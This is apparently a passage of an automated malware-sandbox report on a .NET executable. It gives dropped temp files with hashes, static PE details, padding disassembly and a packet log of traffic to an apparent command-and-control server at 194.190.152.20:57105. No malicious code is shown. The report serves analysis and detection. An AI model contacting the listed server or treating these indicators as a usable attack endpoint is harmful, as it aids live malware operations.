Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\tmp35F0.tmp

Download File

Process:	C:\Users\user\Desktop\2MNB4UhUqR.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\tmp361F.tmp

Download File

Process:	C:\Users\user\Desktop\2MNB4UhUqR.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\Temp\tmpCF31.tmp

Download File

Process:	C:\Users\user\Desktop\2MNB4UhUqR.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	false
Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.960769563797613
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	2MNB4UhUqR.exe
File size:	97792
MD5:	53bff074cb42df5106e24a0c3ebeea5b
SHA1:	11b7a4e40fe451f4b02448dc3b1b41851db2b42f
SHA256:	cb6d66cbdcf25b7d8ec480a8488a3adfa55b2344b1da80ad375d02e09062d8a2
SHA512:	dd1947ab1cf61597c1c72a124fa285dc4481c2a5fd42107273920466728f217413d496ae79b38f9e860560543ee49e36f15c9a5b3686b9fddc84fed3f4d0fd96
SSDEEP:	1536:NqsCoqu3lbG6jejoigIH43Ywzi0Zb78ivombfexv0ujXyyed2WXtmulgS6pIl:731FYH+zi0ZbYe1g0ujyzdjAI
TLSH:	8FA35D3067AC9F19EAFD1B75B4B2012043F0E08A9091FB4A4DC164E71FA7B865957EF2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..t..........>.... ........@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x41933e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x192f0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1a000	0x4de	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x17344	0x17400	False	0.44879872311827956	data	6.015806194652138	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x1a000	0x4de	0x600	False	0.3756510416666667	data	3.723940100220831	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1c000	0xc	0x200	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x1a0a0	0x254	data
RT_MANIFEST	0x1a2f4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2022 05:02:11.871093988 CEST	49701	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:11.931969881 CEST	57105	49701	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:11.932183981 CEST	49701	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:12.112745047 CEST	49701	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:12.175921917 CEST	57105	49701	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:12.176511049 CEST	49701	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:12.281425953 CEST	57105	49701	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:12.351345062 CEST	57105	49701	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:12.404772043 CEST	49701	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:22.400099039 CEST	49701	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:22.461894989 CEST	57105	49701	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:22.462297916 CEST	49701	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:22.558859110 CEST	57105	49701	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:22.558940887 CEST	57105	49701	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:22.558959961 CEST	57105	49701	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:22.558978081 CEST	57105	49701	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:22.559009075 CEST	49701	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:22.559057951 CEST	49701	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.519741058 CEST	49701	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.522299051 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.580784082 CEST	57105	49701	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.581020117 CEST	49701	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.584477901 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.584841967 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.586261988 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.650482893 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.651776075 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.713656902 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.713809967 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.714011908 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.714076996 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.714174986 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.714179039 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.714179039 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.714272976 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.775825977 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.775861979 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.775994062 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.776078939 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.776108027 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.776222944 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.776222944 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.776447058 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.776550055 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.776761055 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.776876926 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.777043104 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.777105093 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.777194023 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.777259111 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.777426958 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.777501106 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.838041067 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.838254929 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.838295937 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.838315964 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.838370085 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.838401079 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.838459969 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.838568926 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.838655949 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.838797092 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.838803053 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.838896036 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.838927031 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.839008093 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.839210987 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.839277983 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.839307070 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.839385033 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.839615107 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.839679003 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.839709997 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.839782000 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.840029955 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.840094090 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.840264082 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.840377092 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.840863943 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.840930939 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.841061115 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.841137886 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.841500998 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.841584921 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.850783110 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.850810051 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.850855112 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.900286913 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.900341034 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.900360107 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.900552034 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.900588036 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.900684118 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.900782108 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.900859118 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.900969982 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.901034117 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.901186943 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.901206970 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.901253939 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.901288033 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.901577950 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.901634932 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.901906013 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.901925087 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.901961088 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.901997089 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.902184010 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.902235985 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.902343988 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.902406931 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.902576923 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.902628899 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.902806044 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.902858973 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.903011084 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.903060913 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.903199911 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.903253078 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.903393984 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.903441906 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.903595924 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.903634071 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.903837919 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.903892994 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.903908968 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.903973103 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.904114008 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.904186964 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.904478073 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.904520035 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.904674053 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.904728889 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.904900074 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.904947996 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.905082941 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.905133009 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.905354977 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.905437946 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.905689001 CEST	57105	49703	194.190.152.20	192.168.2.5
